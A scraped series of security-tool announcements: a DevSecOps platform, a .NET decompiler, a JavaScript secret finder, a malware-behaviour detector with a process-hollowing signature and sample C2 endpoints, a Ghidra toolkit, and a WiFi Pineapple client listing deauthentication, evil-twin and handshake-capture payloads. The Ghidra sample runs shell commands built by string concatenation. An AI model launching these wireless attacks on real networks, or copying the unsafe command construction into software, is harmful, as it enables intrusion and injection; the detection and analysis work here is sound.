SecuSphere offers a robust framework for consuming and analyzing security assessment reports from various CI/CD pipeline stages. Our platform automates the aggregation, normalization, and correlation of security findings, providing a holistic view of your application's security landscape. Intelligent deduplication and false-positive elimination reduce noise in the vulnerability data, ensuring that your teams focus on real threats. Furthermore, SecuSphere integrates with ticketing systems to facilitate the creation and management of remediation tasks.

Cultivating DevSecOps Practices

SecuSphere goes beyond tools and technology to help you drive and accelerate the adoption of DevSecOps principles and practices within your organization. Our platform provides security training and awareness for developers, security, and operations teams, helping to embed security within your development and operations processes. SecuSphere aids in establishing secure coding guidelines and best practices and fosters collaboration and communication between security, development, and operations teams. With SecuSphere, you'll create a culture of shared responsibility for security, enabling you to build more secure, reliable software.

Embrace the power of integrated DevSecOps with SecuSphere – secure your software development, from code to cloud.

 Features

  • Vulnerability Management: Collect, process, prioritize, and remediate vulnerabilities from a centralized platform, integrating with various vulnerability scanners and security testing tools.
  • CI/CD Pipeline Integration: Provide real-time security feedback with seamless CI/CD pipeline integration, including automated security scans, security gates, and a continuous feedback loop for developers.
  • Security Assessment: Analyze security assessment reports from various CI/CD pipeline stages with automated aggregation, normalization, correlation of security findings, and intelligent deduplication.
  • DevSecOps Practices: Drive and accelerate the adoption of DevSecOps principles and practices within your team. Benefit from our security training, secure coding guidelines, and collaboration tools.

Dashboard and Reporting

SecuSphere offers built-in dashboards and reporting capabilities that allow you to easily track and monitor the status of vulnerabilities. With our risk-based prioritization and automated assignment features, vulnerabilities are efficiently managed and sent to the relevant teams for remediation.

API and Web Console

SecuSphere provides a comprehensive REST API and Web Console. This allows for greater flexibility and control over your security operations, ensuring you can automate and integrate SecuSphere into your existing systems and workflows as seamlessly as possible.

For more information please refer to our Official Rest API Documentation

Integration with Ticketing Systems

SecuSphere integrates with popular ticketing systems, enabling the creation and management of remediation tasks directly within the platform. This helps streamline your security operations and ensure faster resolution of identified vulnerabilities.

Security Training and Awareness

SecuSphere is not just a tool, it's a comprehensive solution that drives and accelerates the adoption of DevSecOps principles and practices. We provide security training and awareness for developers, security, and operations teams, and aid in establishing secure coding guidelines and best practices.

User Guide

Get started with SecuSphere using our comprehensive user guide.

 Installation

You can install SecuSphere by cloning the repository, setting up locally, or using Docker.

Clone the Repository

$ git clone https://github.com/SecurityUniversalOrg/SecuSphere.git

Setup

Local Setup

Navigate to the source directory and run the Python file:

$ cd src/
$ python run.py

Dockerfile Setup

Build and run the Dockerfile in the cicd directory:

$ # From repository root
$ docker build -t secusphere:latest .
$ docker run secusphere:latest

Docker Compose

Use Docker Compose in the ci_cd/iac/ directory:

$ cd ci_cd/iac/
$ docker-compose -f secusphere.yml up

Pull from Docker Hub

Pull the latest version of SecuSphere from Docker Hub and run it:

$ docker pull securityuniversal/secusphere:latest
$ docker run -p 8081:80 -d secusphere:latest

Feedback and Support

We value your feedback and are committed to providing the best possible experience with SecuSphere. If you encounter any issues or have suggestions for improvement, please create an issue in this repository or contact our support team.

Contributing

We welcome contributions to SecuSphere. If you're interested in improving SecuSphere or adding new features, please read our contributing guide.



ILSpy - .NET Decompiler With Support For PDB Generation, ReadyToRun, Metadata (and More) - Cross-Platform!

By: Zion3R


ILSpy is the open-source .NET assembly browser and decompiler.

Decompiler Frontends

Aside from the WPF UI ILSpy (downloadable via Releases, see also plugins), the following other frontends are available:

  • Visual Studio 2022 ships with decompilation support for F12 enabled by default (using our engine v7.1).
  • In Visual Studio 2019, you have to manually enable F12 support. Go to Tools / Options / Text Editor / C# / Advanced and check "Enable navigation to decompiled source"
  • C# for Visual Studio Code ships with decompilation support as well. To enable, activate the setting "Enable Decompilation Support".
  • Our Visual Studio 2022 extension marketplace
  • Our Visual Studio 2017/2019 extension marketplace
  • Our Visual Studio Code Extension repository | marketplace
  • Our Linux/Mac/Windows ILSpy UI based on Avalonia - check out https://github.com/icsharpcode/AvaloniaILSpy
  • Our ICSharpCode.Decompiler NuGet for your own projects
  • Our dotnet tool for Linux/Mac/Windows - check out ILSpyCmd in this repository
  • Our Linux/Mac/Windows PowerShell cmdlets in this repository

Features

  • Decompilation to C# (check out the language support status)
  • Whole-project decompilation
  • Search for types/methods/properties (learn about the options)
  • Hyperlink-based type/method/property navigation
  • Base/Derived types navigation, history
  • Assembly metadata explorer (feature walkthrough)
  • BAML to XAML decompiler
  • ReadyToRun binary support for .NET Core (see the tutorial)
  • Extensible via plugins
  • Additional features in DEBUG builds (for the devs)

License

ILSpy is distributed under the MIT License. Please see the About doc for details, as well as third party notices for included open-source libraries.

How to build

Windows:

  • Make sure PowerShell (at least version) 5.0 is installed.
  • Clone the ILSpy repository using git.
  • Execute git submodule update --init --recursive to download the ILSpy-Tests submodule (used by some test cases).
  • Install Visual Studio (documented version: 17.1). You can install the necessary components in one of 3 ways:
    • Follow Microsoft's instructions for importing a configuration, and import the .vsconfig file located at the root of the solution.
    • Alternatively, you can open the ILSpy solution (ILSpy.sln) and Visual Studio will prompt you to install the missing components.
    • Finally, you can manually install the necessary components via the Visual Studio Installer. The workloads/components are as follows:
      • Workload ".NET Desktop Development". This workload includes the .NET Framework 4.8 SDK and the .NET Framework 4.7.2 targeting pack, as well as the .NET 6.0 SDK and .NET 7.0 SDK (ILSpy.csproj targets .NET 6.0, but we have net472+net70 projects too). Note: The optional components of this workload are not required for ILSpy
      • Workload "Visual Studio extension development" (ILSpy.sln contains a VS extension project) Note: The optional components of this workload are not required for ILSpy
      • Individual Component "MSVC v143 - VS 2022 C++ x64/x86 build tools" (or similar)
        • The VC++ toolset is optional; if present it is used for editbin.exe to modify the stack size used by ILSpy.exe from 1MB to 16MB, because the decompiler makes heavy use of recursion, where small stack sizes lead to problems in very complex methods.
    • Open ILSpy.sln in Visual Studio.
      • NuGet package restore will automatically download further dependencies
      • Run project "ILSpy" for the ILSpy UI
      • Use the Visual Studio "Test Explorer" to see/run the tests
      • If you are only interested in a specific subset of ILSpy, you can also use
        • ILSpy.Wpf.slnf: for the ILSpy WPF frontend
        • ILSpy.XPlat.slnf: for the cross-platform CLI or PowerShell cmdlets
        • ILSpy.AddIn.slnf: for the Visual Studio plugin

Note: Visual Studio includes a version of the .NET SDK that is managed by the Visual Studio installer - once you update, it may get upgraded too. Please note that ILSpy is only compatible with the .NET 6.0 SDK and Visual Studio will refuse to load some projects in the solution (and unit tests will fail). If this problem occurs, please manually install the .NET 6.0 SDK from here.

Unix / Mac:

  • Make sure .NET 7.0 SDK is installed.
  • Make sure PowerShell is installed (formerly known as PowerShell Core)
  • Clone the repository using git.
  • Execute git submodule update --init --recursive to download the ILSpy-Tests submodule (used by some test cases).
  • Use dotnet build ILSpy.XPlat.slnf to build the non-Windows flavors of ILSpy (.NET Core Global Tool and PowerShell Core).

How to contribute

Current and past contributors.

Privacy Policy for ILSpy

ILSpy does not collect any personally identifiable information, nor does it send user files to 3rd party services. ILSpy does not use any APM (Application Performance Management) service to collect telemetry or metrics.



Pinkerton - An JavaScript File Crawler And Secret Finder Developed In Python

By: Zion3R


️️ Pinkerton is a Python tool created to crawl JavaScript files and search for secrets


Installing / Getting started

A quick guide of how to install and use Pinkerton.

1. Clone the repository with: git clone https://github.com/oppsec/pinkerton.git
2. Install the libraries with: pip3 install -r requirements.txt
3. Run Pinkerton with: python3 main.py -u https://example.com

Docker

If you want to use pinkerton in a Docker container, follow this commands:

1. Clone the repository - git clone https://github.com/oppsec/pinkerton.git
2. Build the image - sudo docker build -t pinkerton:latest .
3. Run container - sudo docker run pinkerton:latest



Pre-requisites

  • Python 3 installed on your machine.
  • Install the libraries with pip3 install -r requirements.txt

Features

  • Works with ProxyChains
  • Fast scan
  • Low RAM and CPU usage
  • Open-Source
  • Python ❤️

To-Do

  • Add more secrets regex pattern
  • Improve JavaScript file extract function
  • Improve pattern match system
  • Add pass list file method

Contributing

A quick guide of how to contribute with the project.

1. Create a fork from Pinkerton repository
2. Clone the repository with git clone https://github.com/your/pinkerton.git
3. Type cd pinkerton/
4. Create a branch and make your changes
5. Commit and make a git push
6. Open a pull request


Credits


Warning

  • The developer is not responsible for any malicious use of this tool.


Dynmx - Signature-based Detection Of Malware Features Based On Windows API Call Sequences

By: Zion3R


dynmx (spoken dynamics) is a signature-based detection approach for behavioural malware features based on Windows API call sequences. In a simplified way, you can think of dynmx as a sort of YARA for API call traces (so called function logs) originating from malware sandboxes. Hence, the data basis for the detection approach are not the malware samples themselves which are analyzed statically but data that is generated during a dynamic analysis of the malware sample in a malware sandbox. Currently, dynmx supports function logs of the following malware sandboxes:

  • VMRay (function log, text-based and XML format)
  • CAPEv2 (report.json file)
  • Cuckoo (report.json file)

The detection approach is described in detail in the master thesis Signature-Based Detection of Behavioural Malware Features with Windows API Calls. This project is the prototype implementation of this approach and was developed in the course of the master thesis. The signatures are manually defined by malware analysts in the dynmx signature DSL and can be detected in function logs with the help of this tool. Features and syntax of the dynmx signature DSL can also be found in the master thesis. Furthermore, you can find sample dynmx signatures in the repository dynmx-signatures. In addition to detecting malware features based on API calls, dynmx can extract OS resources that are used by the malware (a so called Access Activity Model). These resources are extracted by examining the API calls and reconstructing operations on OS resources. Currently, OS resources of the categories filesystem, registry and network are considered in the model.


Example

In the following section, examples are shown for the detection of malware features and for the extraction of resources.

Detection

For this example, we choose the malware sample with the SHA-256 hash sum c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3. According to MalwareBazaar, the sample belongs to the malware family Amadey. There is a public VMRay analysis report of this sample available which also provides the function log traced by VMRay. This function log will be our data basis which we will use for the detection.

If we would like to know if the malware sample uses an injection technique called Process Hollowing, we can try to detect the following dynmx signature in the function log.

dynmx_signature:
meta:
name: process_hollow
title: Process Hollowing
description: Detection of Process hollowing malware feature
detection:
proc_hollow:
# Create legit process in suspended mode
- api_call: ["CreateProcess[AW]", "CreateProcessInternal[AW]"]
with:
- argument: "dwCreationFlags"
operation: "flag is set"
value: 0x4
- return_value: "return"
operation: "is not"
value: 0
store:
- name: "hProcess"
as: "proc_handle"
- name: "hThread"
as: "thread_handle"
# Injection of malicious code into memory of previously created process
- variant:
- path:
# Allocate memory with read, write, execute permission
- api_call: ["VirtualAllocE x", "VirtualAlloc", "(Nt|Zw)AllocateVirtualMemory"]
with:
- argument: ["hProcess", "ProcessHandle"]
operation: "is"
value: "$(proc_handle)"
- argument: ["flProtect", "Protect"]
operation: "is"
value: 0x40
- api_call: ["WriteProcessMemory"]
with:
- argument: "hProcess"
operation: "is"
value: "$(proc_handle)"
- api_call: ["SetThreadContext", "(Nt|Zw)SetContextThread"]
with:
- argument: "hThread"
operation: "is"
value: "$(thread_handle)"
- path:
# Map memory section with read, write, execute permission
- api_call: "(Nt|Zw)MapViewOfSection"
with:
- argument: "ProcessHandle"
operation: "is"
value: "$(proc_handle)"
- argument: "AccessProtection"
operation: "is"
value: 0x40
# Resume thread to run injected malicious code
- api_call: ["ResumeThread", "(Nt|Zw)ResumeThread"]
with:
- argument: ["hThread", "ThreadHandle"]
operation: "is"
value: "$(thread_handle)"
condition: proc_hollow as sequence

Based on the signature, we can find some DSL features that make dynmx powerful:

  • Definition of API call sequences with alternative paths
  • Matching of API call function names with regular expressions
  • Matching of argument and return values with several operators
  • Storage of variables, e.g. in order to track handles in the API call sequence
  • Definition of a detection condition with boolean operators (AND, OR, NOT)

If we run dynmx with the signature shown above against the function of the sample c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3, we get the following output indicating that the signature was detected.

$ python3 dynmx.py detect -i 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json -s process_hollow.yml


|
__| _ _ _ _ _
/ | | | / |/ | / |/ |/ | /\/
\_/|_/ \_/|/ | |_/ | | |_/ /\_/
/|
\|

Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Loaded 1 dynmx signature(s)
[+] Starting detection process with 1 worker(s). This probably takes some time...

[+] Result
process_hollow c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3.txt

We can get into more detail by setting the output format to detail. Now, we can see the exact API call sequence that was detected in the function log. Furthermore, we can see that the signature was detected in the process 51f0.exe.

$ python3 dynmx.py -f detail detect -i 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json -s process_hollow.yml


|
__| _ _ _ _ _
/ | | | / |/ | / |/ |/ | /\/
\_/|_/ \_/|/ | |_/ | | |_/ /\_/
/|
\|

Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Loaded 1 dynmx signature(s)
[+] Starting detection process with 1 worker(s). This probably takes some time...

[+] Result
Function log: c0832b1008aa0fc828654f9762e37bda019080cbdd92bd2453a05cfb3b79abb3.txt
Signature: process_hollow
Process: 51f0.exe (PID: 3768)
Number of Findings: 1
Finding 0
proc_hollow : API Call CreateProcessA (Function log line 20560, index 938)
proc_hollow : API Call VirtualAllocEx (Function log line 20566, index 944)
proc_hollow : API Call WriteProcessMemory (Function log line 20573, index 951)
proc_hollow : API Call SetThreadContext (Function log line 20574, index 952)
proc_hollow : API Call ResumeThread (Function log line 20575, index 953)

Resources

In order to extract the accessed OS resources from a function log, we can simply run the dynmx command resources against the function log. An example of the detailed output is shown below for the sample with the SHA-256 hash sum 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9. This is a CAPE sandbox report which is part of the Avast-CTU Public CAPEv2 Dataset.

$ python3 dynmx.py -f detail resources --input 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json


|
__| _ _ _ _ _
/ | | | / |/ | / |/ |/ | /\/
\_/|_/ \_/|/ | |_/ | | |_/ /\_/
/|
\|

Ver. 0.5 (PoC), by 0x534a


[+] Parsing 1 function log(s)
[+] Processing function log(s) with the command 'resources'...

[+] Result
Function log: 601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json (/Users/sijansen/Documents/dev/dynmx_flogs/cape/Public_Avast_CTU_CAPEv2_Dataset_Full/extracted/601941f00b194587c9e57c5fabaf1ef11596179bea007df9bdcdaa10f162cac9.json)
Process: 601941F00B194587C9E5.exe (PID: 2008)
Filesystem:
C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
C:\Windows\SysWOW64\ntdll.dll (READ)
USER32.dll (EXECUTE)
KERNEL32. dll (EXECUTE)
C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DevicePath (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DisableImprovedZoneCheck (READ)
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only (READ)
Process: 601941F00B194587C9E5.exe (PID: 1800)
Filesystem:
C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
C:\Windows\SysWOW64\ntdll.dll (READ)
USER32.dll (EXECUTE)
KERNEL32.dll (EXECUTE)
[...]
C:\Users\comp\AppData\Local\vscmouse (READ)
C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe:Zone.Identifier (DELETE)
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
[...]
Process: vscmouse.exe (PID: 900)
Filesystem:
C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
C:\Windows\SysWOW64\ntdll.dll (READ)
USER32.dll (EXECUTE)
KERNEL32.dll (EXECUTE)
C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\C urrentVersion\Setup (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup\SourcePath (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\DevicePath (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DisableImprovedZoneCheck (READ)
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings (READ)
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Security_HKLM_only (READ)
Process: vscmouse.exe (PID: 3036)
Filesystem:
C:\Windows\SysWOW64\en-US\SETUPAPI.dll.mui (CREATE)
API-MS-Win-Core-LocalRegistry-L1-1-0.dll (EXECUTE)
C:\Windows\SysWOW64\ntdll.dll (READ)
USER32.dll (EXECUTE)
KERNEL32.dll (EXECUTE)
C:\Windows\Globalization\Sorting\sortdefault.nls (CREATE)
C:\ (READ)
C:\Windows\System32\uxtheme.dll (EXECUTE)
dwmapi.dll (EXECUTE)
advapi32.dll (EXECUTE)
shell32.dll (EXECUTE)
C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe (CREATE,READ)
C:\Users\comp\AppData\Local\iproppass\iproppass.exe (DELETE)
crypt32.dll (EXECUTE)
urlmon.dll (EXECUTE)
userenv.dll (EXECUTE)
wininet.dll (EXECUTE)
wtsapi32.dll (EXECUTE)
CRYPTSP.dll (EXECUTE)
CRYPTBASE.dll (EXECUTE)
ole32.dll (EXECUTE)
OLEAUT32.dll (EXECUTE)
C:\Windows\SysWOW64\oleaut32.dll (EXECUTE)
IPHLPAPI.DLL (EXECUTE)
DHCPCSVC.DLL (EXECUTE)
C:\Users\comp\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\ (CREATE)
C:\Users\comp\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk\rasphone.pbk (CREATE,READ)
Registry:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT (READ )
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup (READ)
[...]
Network:
24.151.31.150:465 (READ)
http://24.151.31.150:465 (READ,WRITE)
107.10.49.252:80 (READ)
http://107.10.49.252:80 (READ,WRITE)

Based on the shown output and the accessed resources, we can deduce some malware features:

  • Within the process 601941F00B194587C9E5.exe (PID 1800), the Zone Identifier of the file C:\Users\comp\AppData\Local\vscmouse\vscmouse.exe is deleted
  • Some DLLs are loaded dynamically
  • The process vscmouse.exe (PID: 3036) connects to the network endpoints http://24.151.31.150:465 and http://107.10.49.252:80

The accessed resources are interesting for identifying host- and network-based detection indicators. In addition, resources can be used in dynmx signatures. A popular example is the detection of persistence mechanisms in the Registry.

Installation

In order to use the software Python 3.9 must be available on the target system. In addition, the following Python packages need to be installed:

  • anytree,
  • lxml,
  • pyparsing,
  • PyYAML,
  • six and
  • stringcase

To install the packages run the pip3 command shown below. It is recommended to use a Python virtual environment instead of installing the packages system-wide.

pip3 install -r requirements.txt

Usage

To use the prototype, simply run the main entry point dynmx.py. The usage information can be viewed with the -h command line parameter as shown below.

$ python3 dynmx.py -h
usage: dynmx.py [-h] [--format {overview,detail}] [--show-log] [--log LOG] [--log-level {debug,info,error}] [--worker N] {detect,check,convert,stats,resources} ...

Detect dynmx signatures in dynamic program execution information (function logs)

optional arguments:
-h, --help show this help message and exit
--format {overview,detail}, -f {overview,detail}
Output format
--show-log Show all log output on stdout
--log LOG, -l LOG log file
--log-level {debug,info,error}
Log level (default: info)
--worker N, -w N Number of workers to spawn (default: number of processors - 2)

sub-commands:
task to perform

{detect,check,convert,stats,resources}
detect Detects a dynmx signature
check Checks the syntax of dynmx signature(s)
convert Converts function logs to the dynmx generic function log format
stats Statistics of function logs
resources Resource activity derived from function log

In general, as shown in the output, several command line parameters regarding the log handling, the output format for results or multiprocessing can be defined. Furthermore, a command needs be chosen to run a specific task. Please note, that the number of workers only affects commands that make use of multiprocessing. Currently, these are the commands detect and convert.

The commands have specific command line parameters that can be explored by giving the parameter -h to the command, e.g. for the detect command as shown below.

$ python3 dynmx.py detect -h
usage: dynmx.py detect [-h] --sig SIG [SIG ...] --input INPUT [INPUT ...] [--recursive] [--json-result JSON_RESULT] [--runtime-result RUNTIME_RESULT] [--detect-all]

optional arguments:
-h, --help show this help message and exit
--recursive, -r Search for input files recursively
--json-result JSON_RESULT
JSON formatted result file
--runtime-result RUNTIME_RESULT
Runtime statistics file formatted in CSV
--detect-all Detect signature in all processes and do not stop after the first detection

required arguments:
--sig SIG [SIG ...], -s SIG [SIG ...]
dynmx signature(s) to detect
--input INPUT [INPUT ...], -i INPUT [INPUT ...]
Input files

As a user of dynmx, you can decide how the output is structured. If you choose to show the log on the console by defining the parameter --show-log, the output consists of two sections (see listing below). The log is shown first and afterwards the results of the used command. By default, the log is neither shown in the console nor written to a log file (which can be defined using the --log parameter). Due to multiprocessing, the entries in the log file are not necessarily in chronological order.



|
__| _ _ _ _ _
/ | | | / |/ | / |/ |/ | /\/
\_/|_/ \_/|/ | |_/ | | |_/ /\_/
/|
\|

Ver. 0.5 (PoC), by 0x534a


[+] Log output
2023-06-27 19:07:38,068+0000 [INFO] (__main__) [PID: 13315] []: Start of dynmx run
[...]
[+] End of log output

[+] Result
[...]

The level of detail of the result output can be defined using the command line parameter --output-format which can be set to overview for a high-level result or to detail for a detailed result. For example, if you define the output format to detail, detection results shown in the console will contain the exact API calls and resources that caused the detection. The overview output format will just indicate what signature was detected in which function log.

Example Command Lines

Detection of a dynmx signature in a function log with one worker process

python3 dynmx.py -w 1 detect -i "flog.txt" -s dynmx_signature.yml

Conversion of a function log to the dynmx generic function log format

python3 dynmx.py convert -i "flog.txt" -o /tmp/

Check a signature (only basic sanity checks)

python3 dynmx.py check -s dynmx_signature.yml

Get a detailed list of used resources used by a malware sample based on the function log (access activity model)

python3 dynmx.py -f detail resources -i "flog.txt"

Troubleshooting

Please consider that this tool is a proof-of-concept which was developed besides writing the master thesis. Hence, the code quality is not always the best and there may be bugs and errors. I tried to make the tool as robust as possible in the given time frame.

The best way to troubleshoot errors is to enable logging (on the console and/or to a log file) and set the log level to debug. Exception handlers should write detailed errors to the log which can help troubleshooting.



Sekiryu - Comprehensive Toolkit For Ghidra Headless

By: Zion3R


This Ghidra Toolkit is a comprehensive suite of tools designed to streamline and automate various tasks associated with running Ghidra in Headless mode. This toolkit provides a wide range of scripts that can be executed both inside and alongside Ghidra, enabling users to perform tasks such as Vulnerability Hunting, Pseudo-code Commenting with ChatGPT and Reporting with Data Visualization on the analyzed codebase. It allows user to load and save their own script and interract with the built-in API of the script.


Key Features

  • Headless Mode Automation: The toolkit enables users to seamlessly launch and run Ghidra in Headless mode, allowing for automated and batch processing of code analysis tasks.

  • Script Repository/Management: The toolkit includes a repository of pre-built scripts that can be executed within Ghidra. These scripts cover a variety of functionalities, empowering users to perform diverse analysis and manipulation tasks. It allows users to load and save their own scripts, providing flexibility and customization options for their specific analysis requirements. Users can easily manage and organize their script collection.

  • Flexible Input Options: Users can utilize the toolkit to analyze individual files or entire folders containing multiple files. This flexibility enables efficient analysis of both small-scale and large-scale codebases.

Available scripts

  • Vulnerability Hunting with pattern recognition: Leverage the toolkit's scripts to identify potential vulnerabilities within the codebase being analyzed. This helps security researchers and developers uncover security weaknesses and proactively address them.
  • Vulnerability Hunting with SemGrep: Thanks to the security Researcher 0xdea and the rule-set they created, we can use simple rules and SemGrep to detect vulnerabilities in C/C++ pseudo code (their github: https://github.com/0xdea/semgrep-rules)
  • Automatic Pseudo Code Generating: Automatically generate pseudo code within Ghidra's Headless mode. This feature assists in understanding and documenting the code logic without manual intervention.
  • Pseudo-code Commenting with ChatGPT: Enhance the readability and understanding of the codebase by utilizing ChatGPT to generate human-like comments for pseudo-code snippets. This feature assists in documenting and explaining the code logic.
  • Reporting and Data Visualization: Generate comprehensive reports with visualizations to summarize and present the analysis results effectively. The toolkit provides data visualization capabilities to aid in identifying patterns, dependencies, and anomalies in the codebase.

Pre-requisites

Before using this project, make sure you have the following software installed:

Installation

  • Install the pre-requisites mentionned above.
  • Download Sekiryu release directly from Github or use: pip install sekiryu.

Usage

In order to use the script you can simply run it against a binary with the options that you want to execute.

  • sekiryu [-F FILE][OPTIONS]

Please note that performing a binary analysis with Ghidra (or any other product) is a relatively slow process. Thus, expect the binary analysis to take several minutes depending on the host performance. If you run Sekiryu against a very large application or a large amount of binary files, be prepared to WAIT

Demos

API

In order to use it the User must import xmlrpc in their script and call the function like for example: proxy.send_data

Functions

  • send_data() - Allows user to send data to the server. ("data" is a Dictionnary)
  • recv_data() - Allows user to receive data from the server. ("data" is a Dictionnary)
  • request_GPT() - Allows user to send string data via ChatGPT API.

Use your own scripts

Scripts are saved in the folder /modules/scripts/ you can simply copy your script there. In the ghidra_pilot.py file you can find the following function which is responsible to run a headless ghidra script:

def exec_headless(file, script):
"""
Execute the headless analysis of ghidra
"""
path = ghidra_path + 'analyzeHeadless'
# Setting variables
tmp_folder = "/tmp/out"
os.mkdir(tmp_folder)
cmd = ' ' + tmp_folder + ' TMP_DIR -import'+ ' '+ file + ' '+ "-postscript "+ script +" -deleteProject"

# Running ghidra with specified file and script
try:
p = subprocess.run([str(path + cmd)], shell=True, capture_output=True)
os.rmdir(tmp_folder)

except KeyError as e:
print(e)
os.rmdir(tmp_folder)

The usage is pretty straight forward, you can create your own script then just add a function in the ghidra_pilot.py such as:

def yourfunction(file):
try:
# Setting script
script = "modules/scripts/your_script.py"

# Start the exec_headless function in a new thread
thread = threading.Thread(target=exec_headless, args=(file, script))
thread.start()
thread.join()
except Exception as e:
print(str(e))

The file cli.py is responsible for the command-line-interface and allows you to add argument and command associated like this:

analysis_parser.add_argument('[-ShortCMD]', '[--LongCMD]', help="Your Help Message", action="store_true")

Contributions

  • Scripts/SCRIPTS/SCRIIIIIPTS: This tool is designed to be a toolkit allowing user to save and run their own script easily, obviously if you can contribue in any sort of script (anything that is interesting will be approved !)
  • Optimization: Any kind of optimization are welcomed and will almost automically be approved and deployed every release, some nice things could be: improve parallel tasking, code cleaning and overall improvement.
  • Malware analysis: It's a big part, which i'm not familiar with. Any malware analyst willing to contribute can suggest idea, script, or even commit code directly in the project.
  • Reporting: I ain't no data visualization engineer, if anyone is willing to improve/contribue on this part, it'll be very nice.

Warning

The xmlrpc.server module is not secure against maliciously constructed data. If you need to parse 
untrusted or unauthenticated data see XML vulnerabilities.

Special thanks

A lot of people encouraged me to push further on this tool and improve it. Without you all this project wouldn't have been
the same so it's time for a proper shout-out:
- @JeanBedoul @McProustinet @MilCashh @Aspeak @mrjay @Esbee|sandboxescaper @Rosen @Cyb3rops @RussianPanda @Dr4k0nia
- @Inversecos @Vs1m @djinn @corelanc0d3r @ramishaath @chompie1337
Thanks for your feedback, support, encouragement, test, ideas, time and care.

For more information about Bushido Security, please visit our website: https://www.bushido-sec.com/.



WiFi-Pineapple-MK7_REST-Client - WiFi Hacking Workflow With WiFi Pineapple Mark VII API

By: Zion3R


PINEAPPLE MARK VII REST CLIENT

Author:: TW-D

Version:: 1.3.7

Copyright:: Copyright (c) 2022 TW-D

License:: Distributes under the same terms as Ruby

Doc:: https://hak5.github.io/mk7-docs/docs/rest/rest/

Requires:: Ruby >= 2.7.0p0 and Pineapple Mark VII >= 2.1.0-stable

Installation (Debian, Ubuntu, Raspbian)::

  • sudo apt-get install build-essential curl g++ ruby ruby-dev

  • sudo gem install net-ssh rest-client tty-progressbar

Description

Library allowing the automation of active or passive attack operations.

Note : "Issues" and "Pull Request" are welcome.


Payloads

In "./payloads/" directory, you will find :

COMMAND and CONTROL Author Usage
Hak5 Key Croc - Real-time recovery of keystrokes from a keyboard TW-D (edit) ruby ./hak5_key-croc.rb
Maltronics WiFi Deauther - Spam beacon frames TW-D (edit) ruby ./maltronics_wifi-deauther.rb
DEFENSE Author Usage
Hak5 Pineapple Spotter TW-D with special thanks to @DrSKiZZ, @cribb-it, @barry99705 and @dark_pyrro (edit) ruby ./hak5-pineapple_spotter.rb
DoS Author Usage
Deauthentication of clients available on the access points TW-D (edit) ruby ./deauthentication-clients.rb
EXPLOITATION Author Usage
Evil WPA Access Point TW-D (edit) ruby ./evil-wpa_access-point.rb
Fake Access Points TW-D (edit) ruby ./fake_access-points.rb
Mass Handshakes TW-D (edit) ruby ./mass-handshakes.rb
Rogue Access Points TW-D (edit) ruby ./rogue_access-points.rb
Twin Access Points TW-D (edit) ruby ./twin_access-points.rb
GENERAL Author Usage
System Status, Disk Usage, ... TW-D (edit) ruby ./dashboard-stats.rb
Networking Interfaces TW-D (edit) ruby ./networking-interfaces.rb
System Logs TW-D (edit) ruby ./system-logs.rb
RECON Author Usage
Access Points and Clients on 2.4GHz and 5GHz (with a supported adapter) TW-D (edit) ruby ./access-points_clients_5ghz.rb
Access Points and Clients TW-D (edit) ruby ./access-points_clients.rb
